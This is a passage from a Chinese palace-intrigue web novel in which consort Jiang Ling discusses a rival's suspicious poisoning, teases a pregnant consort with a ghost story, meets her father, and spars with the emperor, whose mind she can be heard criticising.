“娘娘辛苦了,要保重身子才是。”江舲熟练地说着客套话,随着林贵妃一道往外走去。 林贵妃朝正屋方向走去。守门的老宫女忙上前请安,她摆了摆手,道:“不用上前伺候了。” 随行的绣云停下了脚步,江舲也朝文涓示意,让她在门口等候。 “宫中都在传,撷芳阁不吉祥。”林贵妃走到桂花树下,仰望着碧绿的树叶,道:“这颗桂花树生得真是好,生机勃勃。连着杂草,都长得别别处要茂密些。江美人以前便是住在这里,人养屋子,也能养花花草草。只怕不吉利的,是人。” 江舲认真看着桂花树,比划了一下,道:“的确长得好。我以前在的时候,树只比我高上一头。秋后桂花盛开,我收了许多桂花,如今还余下不少呢。” “江美人好气度。”林贵妃望着江舲,由衷地夸赞了句。 江舲不懂林贵妃为何出言夸赞她,客气地道:“与娘娘比,我差之远矣。” 林贵妃笑笑,转身朝正屋方向走去。上了台阶,她没进屋,在凭栏上坐下,拍了拍身边的位置,道:“江美人也来坐。” 江舲以前经常在凭栏上坐着发呆,她上前坐下来,一时间,心头滋味复杂难辨。 林贵妃轻声道:“皇庙的静宜师太差人进宫回禀,苏氏苏月去岁冬日着了凉,一直生着病。天气暖和起来,咳嗽始终不见好,痰中已见血。太医前去诊治过,估摸着活不长了。” “苏月?”江舲一愣,与苏月交锋的点滴在眼前浮现。 林贵妃感慨地道:“犯错的嫔妃,到底也是嫔妃。我去与皇上回话,皇上日理万机,难免有些人记不大清楚。待皇上想起来,很是伤怀,让皇庙那边多替苏月多诵经祈福。” 元明帝已经忘了苏月,她的生死,皆无关紧要。 “唉,李贵人还是没福气,虽从婕妤贬黜成贵人,到底仍住在后宫,有人服侍着。” 林贵妃叹了口气,侧首看向江舲,一脸的不解:“这好生生的人,怎地就突然中毒了呢?” “我也觉着奇怪。”江舲附和了句,跟着皱眉道:“这些时日我总是在想,后苑种了枸那,吴太医称枸那汁液粘在手上会发痒红肿,那吃进肚中去,肯定会中毒。” 林贵妃顿住,一瞬不瞬盯着江舲,“江美人可是怀疑,她是自行服了毒?” “我并非太医,也不会断案,就是闲着瞎想。”江舲已今非昔比,她们说话时能拐十八道弯,她能拐上三道了。 “吴太医称枸那能入药,吃进去也一时半会要不了命。李贵人又不是三岁小儿,一觉着不对劲,早就闹了起来。唉,她怎地就不吱声呢,身边伺候的菡萏也是,一道成了哑巴。我听说,皇上打算抓出苑囿的蠹虫,李贵人可是得知消息,担心李郎中心思恍惚,将枸那吃进肚子中都不曾察觉?” 林贵妃面无表情看着江舲,缓缓笑了起来,道:“菡萏去了宫正司,且只先问了她几句,她便害怕得一头撞死了。” 李贵人与菡萏两人在同一间屋子朝夕相处,她绝无可能不知情。夹竹桃吃进去有发作过程,先是呕吐腹泻,毒素再进入血液,造成心脏或者神经损伤。 菡萏与李贵人露出来的肌肤皆不见异样,可以排除服用的是汁液。如此一来,呕吐物中可能出现夹竹桃的叶或根茎。菡萏从头到尾都不曾提过枸那,李贵人也不曾提过,她最后以死换皇上的怜悯,想要他放过李家。 指赵德妃是下毒之人,因为李贵人与她有私仇,二得了人的提点。 李贵人不将江舲一并指进去,后来江舲琢磨了下,她要是指太多人,反倒是白指了。 毕竟赵德妃生养了皇子,江舲风头正劲,元明帝定不会为一个失宠的妃子,赔上两个重要的后妃。 且江舲几乎足不出户,身边只有阿箬芳荷伺候,李贵人称她是下毒之人,反倒弄巧成拙。 林贵妃反应极快,道:“皇上抓苑囿蠹虫之事,李贵人竟然能这般快得知,这后宫岂不是松得成筛子了。江美人真是聪慧,能想到枸那上去。” 江舲不敢托大,她只比林贵妃多了些医学知识而已,以林贵妃的聪明,估计早就怀疑李贵人死得蹊跷。 听林贵妃的言外之意,这次李贵人之死,背后那双点拨之手,出自同一人。 江家人马上要到京城,江文修身在官场,总要领旨上任。江舲认为他最好到苑囿,她在宫中勉强能照看一二。 要是元明帝一个心软,放过李家,江文修的差使就没了着落。 李贵人之死,一切都源于她的猜测与推断,并无实证。她也没那个本事去查清,惹不起幕后主使之人,更不会强冒出头。 前来上香拜祭,江舲也是为了见林贵妃,与她说这一场话。 至于林贵妃如何想,认为被利用也好,是来商议也罢,江舲都不在乎。 她们比她损失更大,且她被数次推出来,有来有往,总该轮到她们了。 “我得回西跨院去,凭栏凉,江美人被久坐,咱们走吧。”说话间,林贵妃站起身朝外走去。 江舲也起身离开,两人在门前道别,各自离开。 离开撷芳阁,江舲走进夹道,前面段才人在宫女的簇拥下走了过来。她停下脚步,屈膝福了福身,道:“咦,真巧,在这里遇到江美人。” 江舲不想理会段才人,朝她颔了颔首,“段才人。” “江美人可是去撷芳阁祭拜李贵人了?”段才人似乎饶有兴致,朝夹道对面的方向看去,道:“先前我听说,江美人在李贵人那里受了不少气,没曾想到,江美人还真是宅心仁厚,不记前仇,亲自前去祭拜李贵人。” “嗯,段才人说得是,我一向宅心仁厚。”江舲见段才人暗含嘲讽,干脆地承认了。 估计段才人从未遇到这般的情形,一下僵在了那里。如枝头嫩芽般的脸庞,一阵红红白白。 江舲展颜一笑,抬腿朝前走去。经过段才人时,她脚步微顿,似笑非笑道:“李贵人以前住在翠微阁,不知可有回来收脚迹。” 段才人脸霎时变得煞白,明眸顿时瞪大,露出惊恐的表情,气急败坏尖声道:“你!” 原来大胤也有人去世后,鬼魂会将生前所有去过之地,留下的脚印痕迹全部收走后,才能安心转世投胎的说法。 “小样!”江舲见吓到段才人,心中大爽,看都不看段才人,施施然离开。 到了繁英阁门前,阿箬正急着往外跑,见到江舲回来,赶忙道:“美人,奴婢正要去找你呢。皇上差人前来,说是美人的阿爹进宫了,让美人前去垂拱殿。” 江舲道好,转身朝垂拱殿走去。 虽说早就对江家人来京有心理准备,此时心情依然忐忑难安。 江家人与她成了一条绳上的蚂蚱,休戚与共。他们也是因为她的缘由,才被元明帝调入京城这个旋涡之中。 她怕他们受到连累,从此肩上就背负了他们的命运。 她怕会被他们连累,落得跟苏月李贵人高才人等一样的下场。 自主要的是,江舲对他们一无所知。现在只有江修文进了宫,以后她还要面对她阿娘薛氏与嫂嫂陶氏。 思及此,江舲的呼吸不受控制变得艰难,浑身都不自在起来。 元明帝在御书房,黄梁守在门口,见到江舲前来,忙与她笑着招呼,上前打起门帘:“江美人来了,皇上正等着江美人呢。” 江舲努力挤出一丝笑,进了御书房。 元明帝坐在御案后,在御案下首,坐着身着半旧豆绿官袍的中年男子。他的手拘束地搭在膝盖上,直挺挺如跟木头般杵在椅子上。 江舲进屋后,他头部不动,努力地转动眼珠朝她看来,眼珠随着她的走动,缓缓跟随。 等江舲向元明帝屈膝见礼请安之后,他蹭地一下起身,抬手深深施礼,声音急促,洪亮地道:“臣江修文,见过江美人。” 元明帝被他的动作惊得后仰,江舲也吓了一跳,嘴角不禁抽搐了下,暗暗犯起了愁。 江修文看起来,好似与她一样,都不怎么聪明。《 》 50-60 第51章 国礼在前, 江舲颔首还礼,元明帝抬手笑道:“都坐都坐,今朝是你们父女相聚的时日, 无需多礼,无需多礼。” “既然无需多礼, 你怎么不早说?真是虚伪!”江舲一边谢恩,一边在心中腹诽。 元明帝气得暗自剜了眼江舲, 再看江文修手足无措的模样, 一时又觉得想笑。 父女俩都不善言辞,江舲的眉眼五官, 生得与江文修有六七成相似。看着他们,犹如看着木偶戏般精彩。 江文修正襟危坐在着, 身子绷紧, 面上露出紧张的笑容,道:“美人放心,你阿娘身子好, 每餐依旧能吃两大碗饭食。你大哥能吃四大碗, 腰身一年粗过一年。你嫂嫂吃得少一些, 侄儿小郎已五岁, 已启蒙学字。侄女囡囡三岁, 乖巧能吃, 壮实,比小郎已高小半个头。” 江舲含笑听着, 一时间, 不知该如何回应。 好一个饭桶门第! 江文修继续道:“美人幼时养着的花狸奴大老虎,前年冬日时老去了。你阿娘让我做了只小竹筐,吩咐你大哥挖坑, 将它埋在了挨着河的田埂边。河中有鱼,田中有硕鼠。它到了地下,也不会饿着。” 元明帝面无表情坐着,下意识朝江舲看去。见她似乎听得入了迷,不由得抬手扶额。 江文修从死去的猫,说到上任县令在后衙种的花,“我将花都拔掉了,种了菘菜萝卜蕹菜葱韭。清明螺,赛过鹅,春韭的气味最香。可惜,今年吃不上了。” 元明帝动了动身子,忍不住道:“京城不缺春韭,螺。” “皇上说得是,京城有河,春日。不缺螺蛳,春韭。”江文修忙躬身赔罪。 江舲心中冷笑:“你懂个屁,各处的风物不同,吃起来当然不一样。臭水沟与清澈山泉中长大的鱼,螺蛳,只为更是相差十万八千里了。” 元明帝头隐隐疼起来,这对父女真是如出一辙的气人。江文修身为官员,絮絮叨叨一堆,尽是些家长里短,吃吃喝喝。 不过,元明帝又不好出言责备。毕竟江舲是后妃,父女亲人相见,江文修谈论官府的公事才不妥当。 元明帝怕江文修再说下去,道:“江县令赶路辛苦,且先回去修整歇息。待过上两日,前去吏部领差遣。” 江文修恭谨应是,江舲头皮一紧,控制不住问道:“皇上,阿爹前去吏部领何差使?” “先前不是与你说过?”元明帝斜撇向江舲,小心眼地有样学样,在心中骂她:“真是如猪一般,成日只知吃吃睡睡!” 如此看来,李郎中应当是逃不过了。江文修能如愿到苑囿去当差,江舲提着的心落回肚中,不再多言。 元明帝又道:“你若思念得紧,差人召你阿娘大嫂进宫来相见便是。” 江舲道好,见江文修施礼告退,跟着站起身,心里直抱怨:“哎哟,好体贴啊,是不是把自己感动了?真体贴的话,让我出宫去啊!想什么时候出宫,就什么时候出宫!” 元明帝无视江舲的骂骂咧咧,反正她休想出宫去,只当没听见便是。见江舲跟着江文修一起退出,板着脸叫住了她:“你且等一等,朕还有话与你说。” 江舲与江文修道别,道:“阿爹车马劳顿,阿娘嫂嫂他们也累了。先回去好生安歇,待在京城安顿妥当,我再召阿娘嫂嫂进宫来。” 江文修只是小县令,无资格替薛氏请朝廷诰封。李贵人正在办丧事,虽说只有正式命妇能进宫哭灵,但薛氏她们一旦进宫,必须前去撷芳阁磕头祭拜。 江舲很小气,她才不愿薛氏她们去给李贵人磕头。 送走江文修,江舲问道:“皇上留臣妾何事?” 元明帝脖子一拧,不悦道:“怎地,朕不能留你了?” 江舲忙道:“此处乃御书房,后宫嫔妃不得随意出入,臣妾恐不合规矩,不敢久留。” 元明帝不客气戳穿江舲:“呵呵,先前宣你来御书房时,你怎地就不记得规矩了?” 江舲惶恐地垂首赔罪:“臣妾愚钝,脑子糊涂了,请皇上恕罪。” “走吧。”元明帝见她没背地里骂人,脸色缓和下来,起身绕过御案,“到午膳时辰,你随朕一道用膳。” 江舲跟在元明帝身后前去琼华阁,暗搓搓骂他:“既然到午膳时辰,你连一份午膳都舍不得,把人赶出宫去。抠门,小气鬼!” 元明帝被她骂过无数次小气,耳朵已经听得起茧,连眼皮都不抬。 到了琼华阁,内侍宫女送热水进屋。两人各自洗漱过,黄梁领着人送来了午膳。 元明帝看着食案上的饭菜,故意对黄梁道:“你前去御膳房瞧瞧可有螺,韭。让膳房做两道呈上来。” 黄梁赶忙去了御膳房,元明帝微笑着道:“朕岂能委屈了江美人,在宫中竟然连螺与韭都尝不到。” 江舲当做不知,只欠身谢恩:“臣妾谢皇上赏赐。” “哼。”元明帝若有若无哼了声,举起筷道:“先用膳吧,等下饭菜凉了。” 元明帝怕热,琼华阁的薰笼早已撤去。江舲畏寒,手心冰凉,捧着热汤小口戳饮,等着她的螺蛳春韭。 很快,黄梁提着用嫩韭菜与笋丝、蕈菌同炒的三脆羹呈上,道:“皇上,御膳房只有韭,从未有过螺。奴婢已经差人去宫外采买,请皇上恕罪。” 元明帝倒未动怒,道:“罢了,待清明时节,再送些来尝尝鲜便是。” 黄梁退了出去,元明帝笑道:“江美人,你且再委屈委屈,过上段时日再吃比鹅还肥美的螺。” 三脆羹鲜美可口,深得江舲的喜欢。她敷衍地称着不敢,专心地享受着盘中美味。 元明帝见江舲埋头苦吃,眉头一皱,道:“韭气味重,你少吃一些。” 三脆羹里的嫩韭少,江舲已经挑着吃尽。她听话地应是,挑起了鱼肉吃。 饭后漱口吃茶,元明帝略微走动了几步,转身回卧房,道:“歇了吧。” “白日宣淫,欲盖弥彰。”江舲暗自翻着白眼道。 元明帝其实并无此意,他晨间起得早,春日容易犯困。午间若未歇好,整下午都晕晕沉沉。 闻言,元明帝控制不住心头发痒。解衫上床,元明帝手臂一伸,将江舲揽入怀里。 “唔!”元明帝别过头,嫌弃地捂着江舲的脸往后推,懊恼道:“一股子的韭味!” 江舲往龙床里面一滚,道:“皇上赏赐的菜,臣妾莫不敢从。葱韭蒜本属荤食,气味浓烈。食用之后,要闻不到任何的口气,臣妾实在做不到啊!” 元明帝被噎住,心一横,气得憋着气,重新将她拖出来,在她耳边恶狠狠道:“朕吃了你,就当做食荤了!” 江舲无所谓午歇,反正她闲得很,随时可睡。 秉着享受为上的原则,江舲看不上元明帝老套的招数,掌控了主动。 渐渐地,元明帝将韭的气味抛诸脑后,沉溺在极致的欢愉之中。 事毕,元明帝紧紧搂着江舲舍不得放手,心跳怦然,眷念地呢喃:“别动,陪朕好好躺一阵。” “皇上,这不合规矩……”江舲被搂得浑身不舒服,习惯性拿规矩出来当借口。 “再敢跟朕提规矩,看朕不好好收拾你!”元明帝咬牙切齿道。 江舲不动了,心里烦躁大喊:“烦死了,这样哪睡得着!不要啊,放开我!你不要过来啊,我要喊人了!嘿嘿,就是喊破喉咙,也没人来救你。破喉咙……” 喊着喊着,江舲迷迷糊糊睡了过去。元明帝耳边回荡着江舲的聒噪,很快陷入了沉睡之中。 一觉好眠,元明帝神清气爽起身。江舲搂着被褥,一脸未睡醒的呆怔。 元明帝心情极好,不错眼地打量着她,一下心疼起来,柔声道:“你歇着吧。朕前朝还有些事,过一阵朕就回来,陪你去御花园赏花。” 江舲对御花园不感兴趣,不为所动地蹭着下床:“皇上忙……” “你又来了。”元明帝被气笑了,出言打断了江舲。他沉吟了下,道:“朕陪你去皇苑游玩。” “皇苑?”江舲尚未彻底清醒,她偏着头,含糊着问道:“皇苑在宫外,臣妾能出宫了?” “皇苑也在皇城之内,算不得真正出宫。要出宫的话,需过皇城城门。”元明帝眼神温柔得如春水,止不住凑过去,亲在江舲的唇角。 江舲下意识抬手擦拭着脸,既然皇苑还是在皇城之内,对此兴趣缺缺。 元明帝怒瞪着江舲的动作,不仅如此,她还油盐不进,气得他黑着脸,道:“朕且令你,不许离开琼华阁半步,等候朕归来,随侍朕前往皇苑游玩!” “是,臣妾遵旨。”江舲睡眼惺忪应下,她连骂他的心情都没了,倒头躺下。 元明帝这才满意起来,想了想,又叮嘱道:“不得睡太久,否则夜里就该睡不着了。” “好烦!”江舲拉起被褥,蒙住了头。 元明帝这才前去更洗,穿戴整齐之后走出琼华阁,张善躬身上前与黄梁小声嘀咕了几句。 黄梁微微一愣,加快脚步追上几步,道:“皇上,翠微阁段才人受了惊吓,请了吴太医前去诊治。吴太医称,段才人有了身孕,前来向皇上报喜。” 元明帝子嗣不丰,听到段才人怀孕的喜讯,使得他龙心大悦。 不过,元明帝蹙眉,“段才人为何会受惊吓,莫非可是身边的人伺候不周?” 对着元明帝的质问,黄梁神色为难,支支吾吾着,心里叫苦不迭。 都是元明帝的宠妃,他一个都不敢得罪! 元明帝脸色逐渐黑沉下去,黄梁慌忙耷拉下头,硬着头皮如实回道:“段才人称,她是被江美人吓着了。” 第52章 “被吓着了?”元明帝神色狐疑, 犹豫了下,问道:“段才人身子可还好?” 黄梁道:“太医叮嘱段才人要好生歇息,段才人却不敢进屋, 说是害怕,在外面庭院中坐着呢。” 到底子嗣要紧, 元明帝转身前往翠微阁。进了门,宫女搀扶着脸色苍白的段才人上前请安, 他赶忙伸手虚扶:“快快起来, 身子要紧。进屋去吧,外面风凉。” 段才人绞着帕子, 轻咬着朱唇,娇娇怯怯道:“有皇上在, 臣妾才敢进去。” 元明帝眉头一蹙, 进了次间。段才人举目四望后,方小心翼翼在榻上坐下。 “究竟发生了何事?”元明帝问道。 段才人双手举在身前,似乎很害怕, 浑身都颤抖了下。 “皇上, 臣妾本不该说, 照着以前, 臣妾就算了。只如今并非臣妾一人, 臣妾这里添了皇上的骨肉。” 段才人垂眸, 轻轻抚摸着肚子,满脸的爱怜。她抬起眼眸, 眸中已经隐隐含泪:“臣妾进宫不久, 年少不经事,得罪了人也不知。” 元明帝不悦问道:“莫非是谁吃了熊心豹子胆,欺负了你, 克扣你的吃穿用度了?” 段才人一副欲言又止的模样,似乎又难言之隐。片刻后,她既不承认,也不否认,道:“后宫中的规矩,吃穿用度,翠微阁该领多少灯烛,得几盆花,臣妾还糊涂着呢,臣妾不敢妄加揣度。先前臣妾因为兰草之事,将江姐姐得罪狠了,臣妾……” 她哽咽起来,泪水从眼角滴落,哭道:“臣妾去祭拜李贵人,在夹道遇到了江姐姐。江姐姐说,李贵人以前本是婕妤,住在翠微阁。被皇上贬黜之后,一直不甘心,会趁着收脚迹回到翠微阁,自此阴魂不散。臣妾害怕极了,外面风吹着再凉,臣妾也不敢进屋啊。有皇上的真龙之气护着,臣妾才敢进来歇一阵。” 她竟然去拜祭李贵人了? 元明帝下意识想到这个问题,心头止不住一暖。 终究不负他的宠爱,李贵人在文德殿上诬陷她,她却大度不计前嫌,前去送李贵人一程。 她若真是出言恐吓段才人,应该也事出有因,情有可原。 在此之前,她并不知夏才人已有身孕。实则是她仅随口一说,妇人之间置气斗嘴,段才人当了真。 段才人终究年纪轻,小娘子胆小,见识浅,竟然相信后宫有鬼的无稽之谈。 “胡闹!”元明帝脸色微沉,道:“皇城是何等之地,何来的鬼魅之说,你莫要胡乱听信这些!” “皇上。”段才人哀哀唤了声,哭泣道:“臣妾也不想信这些。先前臣妾在屋中歇息,谁知一闭眼,就想着江姐姐那些话,无论如何都睡不着。太医称臣妾怀孕时日尚浅,定要加倍小心才是。臣妾若是吃不好,睡不好,如何能养好肚中的孩儿。” 元明帝咳了下,安慰段才人道;“你莫要胡思乱想,只管好生养胎就是。若你着实害怕,唔……撷芳阁尚空着,你且搬去住。” 段才人一震,眼睛睁得滚圆,难以置信看着元明帝,“皇上,臣妾若有罪,请皇上看在臣妾独中胎儿的份上,饶恕了臣妾吧。撷芳阁在办丧事,臣妾住进去臣妾……” 她说不下去了,拿帕子捂住脸,哭得伤心欲绝。 李贵人尚未安葬,段才人有着身孕,将她迁进去确实不妥。元明帝想了一遍,道:“翠微阁宽敞些,你身子重,搬动起来也不便,且安生住着吧。” 段才人勉强止住了哭泣,抽抽搭搭道:“皇上,臣妾有个不情之请,请皇上答应。” “哦,何事,你且说来便是。”元明帝道。 “皇上,臣妾盼着能离皇上近一些,有皇上在身边,臣妾什么都不怕。” 段才人咬了咬唇,眸中充满了柔情,凝望着元明帝,“臣妾想与江姐姐换个住处,好安心养胎。皇上,臣妾不敢占了江姐姐的地方,待臣妾生产完之后,就与江姐姐换回来。” 元明帝眼角猛然一跳,仿佛听到了江舲的咆哮大骂。他先前已经保证过,既将繁英阁赐给她,便不会令她让出来。 这时,元明帝想起她还留在琼华阁,等着他一道去游皇苑。干咳了声,安抚段才人道:“搬来搬去不妥,你还是留在翠微阁为好。朕会安排伺候过生产的老嬷嬷来翠微阁,伺候你养胎,你自管安心。” 说话中,元明帝站起身,脸色微沉,道:“外面凉,你留在屋中,不得再出去。” 段才人见状,再不甘不愿,只能起身相送。元明帝朝她摆手,“无需多礼,歇着吧。” 离开翠微阁,元明帝去垂拱殿处置完政事,急匆匆赶回琼华阁。 屋中一片安静,元明帝问道:“人呢?” 宫女忙道:“江美人还在睡着,奴婢这就前去唤江美人起身。” “还在睡?”元明帝吃惊不已,他让宫女退下,大步进了卧间。 江舲睡得正沉,突然被褥被掀开,她茫然睁开眼,看着面前晃动的脸,一时没能反应过来。 “你的规矩呢?你时常挂在嘴边的规矩呢?”元明帝气得叉腰,训斥道:“都睡到天黑了,你还不起,竟要朕等着你!” 江舲转头朝外看去。此时外面天光大亮,她打了个呵欠,撑着坐起身下床,道:“外面天还亮着,皇上等臣妾何事?” “何事?!”元明帝想着他急忙赶回来,差点被江舲气笑了,连着道好,“朕的旨意,你都不放在心上,真是胆子大了!” 江舲在元明帝的怒气中,终于从起床时的迷糊中逐渐清醒,她恍然大悟道:“臣妾先前没睡醒,脑子糊涂了,请皇上恕罪。臣妾这就去收拾,皇上放心,臣妾快得很。” 元明帝哼了声,瞪了她一眼,道:“你且速速前去,朕可没那般好的耐性,若你磨磨蹭蹭耽搁了,朕可不等你。” 江舲对去皇苑本就可有可无,反倒宁愿无所事事躺在榻上虚度光阴。闻言她脚步微顿,道:“臣妾不敢耽误皇上游玩,皇上莫要管臣妾,且先行吧。” “全天下都寻不出如你般懒惰之人,朕就不信邪,治不了你!” 元明帝呵呵冷笑,大声道:“还不快去收拾!” 江舲怏怏应是,梳洗穿戴齐整,随元明帝的御撵前往皇苑。 车轮滚滚而动,伴着马蹄阵阵。江舲实在忍不住好奇,偷偷掀开车帘一角朝外看去。 马车外,骑在马上的护卫,将视线挡得严严实实。 “真没劲。”江舲嘟囔了声,放下车帘,靠在马车上闭目养神。 文涓抿嘴一笑,小声道:“美人,听说皇苑种满了奇珍异草,养着珍禽,美如仙境一般呢。奴婢能跟着美人一道前往,阿箬又该嫉妒奴婢了。” 江舲笑笑不语。 文涓不明白,游玩时美景固然重要,若一道前往的人扫兴,只能令人倒胃口。 皇苑离得近,马车行驶约莫一炷香的功夫便到了。文涓先下车,立在车门边准备伺候江舲下来。她扶着车门,轻盈跃下稳稳落地。 拿着马凳正待上前的内侍,见状不安地停住了。元明帝负手站在前面,看着江舲无语半晌,朝她招手示意,“快过来。” 江舲望着随行的一大堆护卫宫女内侍,暗自白眼都快翻上天:“兴师动众这么多人,鸟都吓跑了!” 元明帝心道她的规矩学得一塌糊涂,竟还敢抱怨,不禁板着脸道:“下马时,需要人搀扶着,踩在马凳上下车。若你莽撞跳下,脚底一滑摔倒在地,仔细摔伤,颜面尽失。” 江舲只管一一应是,心中却道:“就马车这点高度,又不是豆腐做的,跳下来能摔伤,那真是脑子有问题了。再说摔倒在地,爬起来就是,不想爬起来,趁机在地上睡一觉。真是烦,出来玩也叨叨叨叨个不停。” 他说一句,她会背地里顶一千句回来。元明帝不欲搭理她,省得听了生气。 如文涓所言那般,皇苑里摆满了奇山异石,流水从拱桥下缓缓流淌。正当春日,入目所及之处,繁花似锦。辛夷花谢了,李树杏树樱桃繁花累累,如云似锦。 珍稀苑种养着孔雀,鹩哥等鸟儿。沿着小径来到湖边,仙鹤在湖面上优雅自如地清理着羽毛。 湖面波光粼粼,九曲桥连通湖心亭。元明帝走得累了,道:“且去歇一阵。” 宫女内侍在亭中已摆好茶水点心,两人进去坐下吃茶歇息。江舲望着湖对岸若隐若现的屋宇,问道:“皇上,那里是什么?” 元明帝顺着江舲的指点看去,道:“朕若是驻跸皇苑,便在此处歇息,只寻常的院落罢了。今朝天气好,朕带着你来湖心岛,此处赏景最好不过。” “皇苑离寝宫就一段路,还驻跸之地,估计他一次都没住在这里过。这么好,清净的院子,真是浪费了!” 江舲在心里嘀咕,想要住在这里的念头,在心头疯狂滋生,“清净,宽敞,四季景色不同。还有果园,能钓鱼,泛舟,那边还有荷花,能吃藕,莲子……” 元明帝听不下去了,心头微动,不紧不慢地道:“你欺负段才人了?” “臣妾冤枉,皇上请明查,臣妾从未欺负过任何人。”江舲想都不想,一口否认了。 元明帝道:“段才人称你吓唬她,李氏的冤魂会缠着她不放,吓得她都不敢进屋去。段才人刚好有了身孕,被你一吓,连觉都睡不安生。” “恭喜皇上,贺喜皇上,皇上又喜得贵子!” 江舲面带笑容恭贺元明帝,,将段才人骂了一通:“狗东西,真是能编。我就说了句收脚迹,她转头就添油加醋告状了。这下得了,她肚子揣了金疙瘩,牛粪肯定要替她出头。” “她还真是吓唬过段才人。”元明帝气闷不已,咳了声,道:“段才人怕住在翠微阁,此处清净,正好养胎……” 眼见心仪的住处要被抢走,江舲急了,大叫一声道:“皇上,臣妾想住在这里!” 元明帝瞪着她,怒叱道:“大吵大嚷,成何体统!你身为朕的嫔妃,岂能随心所欲,妄图离宫别屋另居。” 江舲闷声不响垂着头,恭敬听训,心道:“哈,都是嫔妃,我住不了,她也休想住。” 元明帝被噎住,他说话时不加思考,若将段才人指到皇苑来住,亦成了别屋另居。 罢了,再替段才人另寻一处寝宫便是。不如将赵嫔的雪香阁,与段才人换一换。 元明帝打定主意,略微坐了一阵,摆驾回宫。 赵嫔送走黄梁,指甲几乎掐进肉中,眸中淬满阴狠:“我倒真是开了眼,便是林贵妃,有身孕之后,也安静着只管养胎。如此抢夺寝宫者,她倒是第一人!” 第53章 段才人不曾想到, 她想要翠微阁不成,元明帝居然让她搬到香雪阁。 香雪阁比翠微阁宽敞,更近垂拱殿。除去二公主萧珈棠, 另有两个低份位嫔妃依附赵嫔住在东西偏殿。 赵氏姐妹一同进宫为妃,皆育有子嗣。如今赵德妃不知何事得罪了元明帝, 福庆宫被护卫看守,不得随意出入。 但二皇子萧允珏仍然养在赵德妃身边, 如常前去上学堂。 段才人在娘家时, 就听过赵嫔的盛名。赵氏在京城闹出不少笑话,段才人潜意识害怕起来, 万万不敢得罪赵嫔。 宫女白芹跟栀子一大早便在忙碌收拾,段才人急起来, “白芹, 快别收拾了,扶我去垂拱殿。不行,我要见皇上。”一边说着, 起身朝外走去。 段才人出身伯府, 身份尊贵, 心气高, 受不得丁点委屈。决定之事, 要求她们令行禁止, 从不容任何人置喙。 “奴婢给才人取厚衫来。”白芹赶忙放下箱笼,取出风帽:“栀子, 你快去备好伞, 木屐。” 一通忙碌之后,两人撑伞搀扶着段才人前往垂拱殿。大朝会之后,元明帝在御书房忙碌。黄梁听到段才人来求见, 眉头直快拧成一道线。 后妃在平时不得到前朝大殿,御书房更是无召不得靠近。卫大学士正好在,他学问好,出了名的严厉端直,若被他撞见,定会上谏劝诫元明帝。 段才人有了身孕,自是不同。要是关乎皇嗣,元明帝怪罪下来,他也不好交差。 黄梁左右为难,沉吟了下,吩咐张善在门口听差,亲自去殿门口见段才人。 “才人可有急事?”黄梁躬身见礼,极为客气地道。 段才人见是黄梁出来,听他话里的意思,是要拦着她见元明帝。 阎王好见小鬼难缠,黄梁仗着是元明帝近跟前第一人,瞧着她进宫不久,品级低,狗仗人势拿捏她了。 段才人心中不大舒服,她不敢与黄梁翻脸,手情不自禁抬起搭在小腹上,道:“黄大伴,我得要见到皇上,亲自与皇上说。” 黄梁何等精明,端瞧着段才人的动作,便知她心中有气。黄梁眸中阴霾闪过,面上却不动声色,始终含笑恭敬道:“皇上在御书房与同大人们议事,才人若有紧要之事,奴婢这就去替才人通传。” 段才人心里着急,眼下顾不得那般多,点头道:“你快去!” 黄梁应下,“段才人请去朵殿稍后。”他转过身朝御书房走去。嘴角的皮耷拉下来,脸上阴云密布。 今年是春闱年,元明帝正在与政事堂的几个相爷,大学士,礼部尚书商议科举之事。他看到黄梁在门外探头进来,眉头微蹙,朝他道:“何事?” 黄梁声音不高不低,回道:“皇上,段才人有急事,须得当面回禀皇上。” 元明帝下意识朝卫大学士看了眼,暗自骂了黄梁一句,他咳了声,到底顾忌着段才人怀中的胎儿,站起身朝外走去。 卫大学士浓眉紧皱,一脸的严肃。元明帝余光瞄见,脚步不由得加快了。黄梁疾步跟上,道:“皇上,段才人在多殿候着。” 元明帝走进多殿,段才人起身朝他奔来,屈膝福了福,一声皇上喊出口,泪水跟着滑落脸颊。 “快快坐下。”元明帝伸手扶住段才人,上下打量着她,“你有事让人来回禀一声就是,外面下着雨,仔细路滑摔倒。” “臣妾实在是急了,一定要亲自与皇上说。” 段才人在椅子中坐下,低头拭着泪,“雪香阁是赵姐姐的寝宫,赵姐姐伺候皇上多年,生了二公主有功。臣妾进宫不久,品级低,臣妾搬进去了,让赵姐姐如何想,其他姐妹们,也只会认为臣妾张狂。臣妾求皇上收回成命,臣妾,臣妾先不搬了。” 元明帝脸色缓缓变了,一时难以置信看着段才人:“你的急事,便是暂且不换寝宫了?” 段才人道:“赵姐姐那边只怕在收拾行囊,臣妾怕让赵姐姐白忙一场,才赶忙来求皇上恩准。” 怒气在元明帝心头翻滚,他忍了忍,道:“你不怕了?” “臣妾臣妾怕呀!”段才人哽咽着,咬着嘴唇,泪眼汪汪道:“臣妾却不能做那等不懂事之人,赵姐姐跟前还有二公主,翠微阁比不得香雪阁宽敞,臣妾恐委屈了她们。” 元明帝见她既然害怕,却又口口声声称不搬。以前林贵妃赵嫔她们有身孕,从未如她这般多事。 “后妃不得到前朝走动,御书房更是无召不得靠近。朕念你进宫不久,不清楚御前规矩,暂且不予追究。” 元明帝站起身,不耐烦地道:“你且回去,别胡思乱想,好生养着!”说完,头也不回离开。 段才人见元明帝不再提搬到别处之事,更绝口不提繁英阁,明显龙颜不悦。她不敢多言,揣着一肚皮的委屈回翠微阁。 离开大殿,翠微阁跑腿的小黄门焦急在殿外张望,段才人走出去,小黄门连忙上前道:“才人,香雪阁那边已经收拾好细软箱笼搬了过来,赵嫔与二公主在翠微阁等着了。” 段才人提着裙摆,一跺脚,恼怒地道:“怎地动作这般快!坏了坏了,你速速回翠微阁,告诉赵嫔无需搬寝宫,她与二公主,依然住在香雪阁。” 小黄门应是,撒开脚丫子飞快回去传话。段才人穿着木屐,青石路面滑,她恐摔倒,脚步极慢,足足花了三倍的时辰才回到翠微阁。 “这可是赵嫔的箱笼细软?”段才人进了抱厦,指着靠墙摆成一排的箱笼问道。 守在箱笼前的宫女答道:“回才人,这是赵嫔的箱笼细软。二公主身子不适,赵嫔久等不见才人回来,只能先带着二公主离开。这些箱笼,赵嫔请才人费心看上一眼。待她问过皇上的旨意之后,再来拿回去。” 段才人一咯噔,赵嫔定是动了怒。毕竟兴师动众才搬来,屋都不曾进,又让搬回去。再好的性子,怕也会心生埋怨。 春雨纷纷扬扬下着,先前防着摔倒,提心吊胆走了一路,段才人早已累了。 